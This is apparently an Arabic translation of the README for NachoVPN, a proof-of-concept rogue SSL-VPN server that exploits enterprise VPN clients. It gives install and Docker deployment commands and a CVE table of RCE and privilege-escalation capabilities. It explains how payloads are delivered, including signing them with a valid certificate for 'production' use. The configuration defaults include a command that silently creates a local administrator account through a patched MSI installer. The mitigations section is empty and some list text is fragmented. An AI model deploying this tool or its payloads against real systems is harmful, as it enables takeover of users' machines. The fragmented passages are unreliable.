
خادم SSL-VPN لذيذ، لكنه خبيث 🌮.
NachoVPN هو إثبات مفهوم (Proof of Concept) يوضح استغلال عملاء SSL-VPN باستخدام خادم VPN خادع.
يستخدم بنية قائمة على الإضافات بحيث يمكن للمجتمع المساهمة في دعم منتجات SSL-VPN إضافية. وهو يدعم حاليًا العديد من منتجات VPN المؤسسية الشائعة، مثل Cisco AnyConnect وSonicWall NetExtender وPalo Alto GlobalProtect وIvanti Connect Secure.
لمزيد من التفاصيل، راجع مقالة المدونة، وعرض HackFest Hollywood 2024 [الشرائح|الفيديو].
تم بناء NachoVPN واختباره على Ubuntu 22.04.
ثبّت python3-nftables و nftables
اختياريًا، استخدم setcap لتجنب الحاجة إلى sudo:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
فعّل إعادة توجيه IP:
sudo sysctl -w net.ipv4.ip_forward=1
يمكن تثبيت NachoVPN من GitHub باستخدام pip. لاحظ أن هذا يتطلب تثبيت git.
أولاً، أنشئ بيئة افتراضية.
على لينكس، تأكد من أن البيئة الافتراضية لديها إمكانية الوصول إلى site-packages الخاصة بالنظام، حتى يعمل nftables:
python3 -m venv env --system-site-packages
source env/bin/activate
على ويندوز، تكون nftables (وبالتالي إعادة توجيه الحزم) معطلة، لذا استخدم:
python -m venv env
.\env\Scripts\activate
ثم ثبّت NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
إذا كنت تفضل استخدام Docker، يمكنك سحب الحاوية من GitHub Container Registry:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
أولاً، استنسخ هذا المستودع، وثبّت setuptools و wheel عبر pip. يمكنك بعد ذلك تشغيل السكربت setup.py:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
سيؤدي هذا إلى إنشاء ملف wheel في مجلد dist، والذي يمكن تثبيته باستخدام pip:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
بدلاً من ذلك، للتطوير المحلي يمكنك تثبيت الحزمة في الوضع القابل للتحرير باستخدام:
pip install -e .
يمكنك بناء صورة الحاوية باستخدام الأمر التالي:
docker build -t nachovpn:latest .
لتشغيل الخادم بشكل مستقل، استخدم:
python -m nachovpn.server
بدلاً من ذلك، يمكنك تشغيل الخادم باستخدام Docker:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
سيؤدي هذا إلى إنشاء شهادة لـ SERVER_FQDN باستخدام certbot، وحفظها في مجلد certs، الذي قمنا بتركيبه داخل الحاوية.
بدلاً من ذلك، ولأغراض الاختبار، يمكنك تخطي إنشاء الشهادة عن طريق تعيين متغير البيئة SKIP_CERTBOT.
سيؤدي هذا إلى إنشاء شهادة موقّعة ذاتيًا بدلاً من ذلك.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
يتم أيضًا توفير ملف docker-compose كمثال للراحة.
يمكنك تشغيل nachovpn باستخدام وسيطات سطر الأوامر -d أو --debug لزيادة مستوى تفصيل السجلات، مما يساعد في التصحيح.
بدلاً من ذلك، إذا كانت السجلات مزعجة للغاية، يمكنك استخدام وسيطة سطر الأوامر q أو --quiet بدلاً من ذلك.
يدعم NachoVPN الإضافات والإمكانيات التالية:
/pulse على خادم NachoVPN./sonicwall على خادم NachoVPN. يتطلب ذلك تثبيت SonicWall Connect Agent على جهاز العميل./delinea على خادم NachoVPN.NACAgent.exe بشهادة موقّعة ذاتيًا. لأغراض الاختبار، يمكنك تنزيل وتثبيت شهادة المرجع المصدق (CA) هذه من /sonicwall/ca.crt قبل تشغيل الاستغلال. لحالات الاستخدام في الإنتاج، ستحتاج إلى الحصول على شهادة توقيع كود صالحة من مرجع مصدق عام، وتوقيع الحمولة NACAgent.exe الخاصة بك، ووضعها في مجلد payloads (أو تركيبها كوحدة تخزين في /app/payloads، إذا كنت تستخدم Docker).NACAgent.exe افتراضية لإضافة SonicWall، وكتابتها في مجلد payloads. تقوم هذه الحمولة ببساطة بتشغيل عملية cmd.exe جديدة على سطح مكتب المستخدم الحالي، بصلاحيات SYSTEM.msi_version.txt في مجلد . يمكنك إضافتها يدويًا، أو تشغيل السكربت لتنزيلها.لتعطيل إضافة، أضفها إلى متغير البيئة DISABLED_PLUGINS. على سبيل المثال:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
يتم تكوين NachoVPN باستخدام متغيرات البيئة. وهذا يجعلها متوافقة بسهولة مع عمليات النشر المعبأة في حاويات.
متغيرات البيئة العامة:
متغيرات البيئة الخاصة بإضافة معينة:
نوصي بالإجراءات التخفيفية التالية:
نرحب بالمساهمات! يرجى فتح issue أو تقديم Pull Request.
إذا كنت مهتمًا بتطوير إضافة جديدة، يمكنك إلقاء نظرة على ExamplePlugin للبدء.
NachoVPN مرخصة بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.
| الإضافة | المنتج | CVE | RCE على ويندوز | RCE على macOS | صلاحيات مميزة | معالج URI | التقاط الحزم | عرض توضيحي |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | ويندوز / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | ويندوز |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (إصلاح جزئي) | ✅ | ✅ | ✅ | ❌ | ✅ | ويندوز / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (تم تجاوزه) | ✅ | ✅ | ✅ | ✅ (ويندوز فقط - معطّل افتراضيًا في 22.8R1) | ✅ | ويندوز |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | ويندوز |
| Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | ويندوز |
downloadsmsi_downloader.pyGlobalProtect.msi.old و GlobalProtect64.msi.old في مجلد downloads. يجب أن تحتوي هذه الملفات على مثبتات MSI غير معدّلة لإصدار أقدم من 6.2.6 (مثل 6.2.5).| المتغير | الوصف | الافتراضي |
|---|
SERVER_FQDN | اسم النطاق المؤهل بالكامل للخادم. | connect.nachovpn.local |
EXTERNAL_IP | عنوان IP الخارجي للخادم. | 127.0.0.1 |
WRITE_PCAP | ما إذا كان سيتم كتابة ملفات PCAP الملتقطة إلى القرص. | false |
DISABLED_PLUGINS | قائمة مفصولة بفواصل بالإضافات المطلوب تعطيلها. | |
USE_DYNAMIC_SERVER_THUMBPRINT | ما إذا كان سيتم حساب بصمة شهادة الخادم ديناميكيًا من الخادم (مفيد إذا كان خلف وكيل). | false |
SERVER_SHA1_THUMBPRINT | يسمح بتجاوز بصمة SHA1 المحسوبة لشهادة الخادم. | |
SERVER_MD5_THUMBPRINT | يسمح بتجاوز بصمة MD5 المحسوبة لشهادة الخادم. | |
SMB_ENABLED | يقوم بتمكين مشاركة SMB، المتاحة عبر النفق على \\10.10.0.1\<SMB_SHARE_NAME> | false |
SMB_SHARE_NAME | الاسم الذي سيتم استخدامه لمشاركة SMB | SHARE |
SMB_SHARE_PATH | مسار المجلد الذي سيتم استخدامه لمشاركة SMB | smb |
TUNNEL_PRIVATE | عند تعيينه إلى true، يقوم بتمكين النفق ولكن يعطل إعادة توجيه الإنترنت لعملاء VPN. يمكن للعملاء الوصول إلى مشاركة SMB فقط. | false |
TUNNEL_FULL | عند تعيينه إلى true، يقوم بتمكين النفق الكامل ويسمح لعملاء VPN بالوصول إلى الإنترنت. يتضمن أيضًا ضمناً TUNNEL_PRIVATE=true. | false |
| المتغير | الوصف | الافتراضي |
|---|
VPN_NAME | اسم ملف تعريف VPN، الذي يُعرض على العميل لـ Cisco AnyConnect. | NachoVPN |
PULSE_LOGON_SCRIPT | المسار إلى سكربت تسجيل الدخول الخاص بـ Pulse Secure. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | المسار إلى سكربت تسجيل الدخول الخاص بـ Pulse Secure لنظام macOS. | |
PULSE_DNS_SUFFIX | لاحقة DNS التي سيتم استخدامها لاتصالات Pulse Secure. | nachovpn.local |
PULSE_USERNAME | اسم المستخدم الذي سيتم ملؤه مسبقًا في نافذة تسجيل دخول Pulse Secure. | |
PULSE_SAVE_CONNECTION | ما إذا كان سيتم حفظ اتصال Pulse Secure في عميل المستخدم. | false |
PULSE_ANONYMOUS_AUTH | ما إذا كان سيتم استخدام مصادقة مجهولة لاتصالات Pulse Secure. إذا تم تعيينه إلى true، فلن يُطلب من المستخدم اسم مستخدم أو كلمة مرور. | false |
PULSE_HOST_CHECKER_RULES_FILE | ملف JSON يحتوي على قائمة بقواعد فحص المضيف المستندة إلى السجل (registry) لـ ICS. انظر المثال في src/nachovpn/plugins/pulse/test/example_rules.json | |
PALO_ALTO_MSI_ADD_FILE | المسار إلى ملف سيتم إضافته إلى مثبّت MSI الخاص بـ Palo Alto. | |
PALO_ALTO_MSI_COMMAND | الأمر الذي سيتم تنفيذه بواسطة مثبّت MSI الخاص بـ Palo Alto. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | ما إذا كان سيتم فرض تصحيح مثبّت MSI إذا كان موجودًا بالفعل في مجلد payloads. | false |
PALO_ALTO_PKG_COMMAND | الأمر الذي سيتم تنفيذه بواسطة مثبّت PKG الخاص بـ Palo Alto على macOS. | touch /tmp/pwnd |
CISCO_COMMAND_WIN | الأمر الذي سيتم تنفيذه بواسطة سكربت OnConnect.vbs الخاص بـ Cisco AnyConnect على ويندوز. | calc.exe |
CISCO_COMMAND_MACOS | الأمر الذي سيتم تنفيذه بواسطة سكربت OnConnect.sh الخاص بـ Cisco AnyConnect على macOS. | touch /tmp/pwnd |